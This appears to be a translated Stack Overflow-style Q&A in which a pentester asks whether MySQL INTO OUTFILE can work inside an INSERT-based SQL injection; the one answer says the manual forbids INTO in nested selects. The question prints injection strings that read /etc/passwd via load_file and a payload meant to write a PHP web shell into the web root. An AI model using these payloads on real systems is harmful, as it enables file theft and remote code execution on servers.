在insert mysql查询中选择into outfile

42fyovps  于 2021-06-25  发布在  Mysql
关注(0)|答案(1)|浏览(424)

下面是一个有趣的场景。在最近的一次pentest中,我在insert查询中遇到了一个sql注入。后端代码如下所示:

$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";

我可以在文件中插入任意值,甚至可以使用select子查询将“/etc/passwd”的内容插入sometable中的col1,然后通过应用程序中其他地方完全不同的功能读取它。

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";

挑战是使用into outfile将文件写入磁盘(我有file privs,并且mysql用户验证可以写入文档根目录)。mysql似乎不支持以下内容:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";

目的是在我有写权限的文件夹中编写一个phpwebshell。需要执行的最后一个查询是:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";

mysql希望通过子查询返回数据,这就是为什么上面的语句似乎不起作用,因为into outfile将数据写入磁盘,而不是返回mysql。
你认为有解决办法吗?

r6hnlfcb

r6hnlfcb1#

从http://dev.mysql.com/doc/refman/5.7/en/select-into.html
嵌套select中不应使用into子句,因为这样的select必须将其结果返回到外部上下文。
所以我想答案是否定的。
另请参阅mysql insert不能与select一起插入outfile?

相关问题